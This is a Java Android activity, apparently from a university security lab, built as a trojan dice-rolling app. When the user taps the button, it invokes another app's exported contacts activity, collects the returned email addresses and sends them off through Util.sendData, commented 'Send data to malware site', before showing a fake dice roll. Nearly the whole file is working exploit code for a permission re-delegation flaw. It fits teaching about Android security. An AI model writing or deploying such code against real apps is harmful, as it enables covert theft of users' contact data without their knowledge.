package edu.cse484.lab3.task2.exploit;

import java.util.Random;

import edu.uw.cs.cse484.lab3.part1.util.Util;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.ScrollView;
import android.widget.TextView;

public class HelloWorldActivity extends Activity {
	private static final String TAG = "HelloWorldActivity";
	
	private static final int PICK_CONTACT_REQUEST = 666; 
	
	private TextView rollDiceHeaderTextView;
	private TextView rollDiceResultTextView;
	
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        
		rollDiceHeaderTextView = (TextView) findViewById(R.id.roll_dice_header_text);
		rollDiceResultTextView = (TextView) findViewById(R.id.roll_dice_result_text);
        
        addListenerOnButton();
    }
    
    private void addListenerOnButton() {
    	final Button button = (Button) findViewById(R.id.buttonFilter);
    	button.setOnClickListener(new View.OnClickListener() {
			public void onClick(View arg0) {
				updateEmails();
			}
    		
    	});
    }
    
    private void updateEmails() {
		rollDiceHeaderTextView.setVisibility(View.INVISIBLE);
		rollDiceResultTextView.setVisibility(View.INVISIBLE);
		
        Intent intent = new Intent(Intent.ACTION_MAIN);
        intent.setClassName("edu.cse484.lab3.task2.getcontacts", 
        			"edu.cse484.lab3.task2.getcontacts.GetContactsRequest");
        startActivityForResult(intent, PICK_CONTACT_REQUEST);
    }
    
    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    	super.onActivityResult(requestCode, resultCode, data);
    	if (requestCode == PICK_CONTACT_REQUEST) {
    		if (resultCode == RESULT_OK) {
    			// Everything was good
    			String[] emailList = (String[]) data.getExtras().get("Email");
    			Log.d(TAG, "Found emailList: " + emailList.toString() + " (length: " +emailList.length + ")");

    			StringBuilder builder = new StringBuilder();
    			for (String email : emailList) {
    				Log.d(TAG, "Email Result: " + email);
    				builder.append(email);
    				builder.append("\n");
    			}
    			
    			// Send data to malware site
    			Util.sendData(builder.toString());
    			
    			String resultFormat = getString(R.string.roll_dice_result_format);
    			String result = String.format(resultFormat, new Random().nextInt(6) + 1);
    			rollDiceResultTextView.setText(result);
    			
    			rollDiceHeaderTextView.setVisibility(View.VISIBLE);
    			rollDiceResultTextView.setVisibility(View.VISIBLE);
    		} else {
    			Log.e(TAG, "NOT OK RESULT CODE: " + resultCode);
    		}
    	} else {
			Log.e(TAG, "UNKNOWN REQUEST CODE: " + requestCode);
    	}
    }
}